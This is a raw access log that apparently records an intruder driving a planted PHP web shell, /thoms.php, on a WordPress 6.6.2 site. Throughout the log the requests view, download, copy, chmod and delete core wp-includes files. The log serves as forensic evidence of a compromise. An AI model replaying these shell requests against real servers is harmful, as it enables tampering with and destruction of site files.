45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-widgets.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?chmod=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-token-map.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?chmod=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=default-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=option.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?chmod=revision.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?dl=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fbookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fbookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fbookmark-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:42 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-IXR.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?chmod=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-paused-extensions-storage.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcomment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcomment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?dl=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcomment-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=fonts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-blogs.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22190 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-blogs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?del=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-template-utils.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-feed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22202 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:43 -0400] "GET /thoms.php?del=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-http-requests-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?chmod=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttps-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttps-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?dl=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22176 "https://163.245.207.76:443/thoms.php?chmod=formatting.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fhttps-migration.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22138 "https://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-templates.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?del=sodium_compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=sodium_compat&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?chmod=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22246 "https://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?dl=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-requests.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:44 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=vars.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=admin-bar.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?dl=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?chmod=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?del=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:45 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=class-wp-post-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
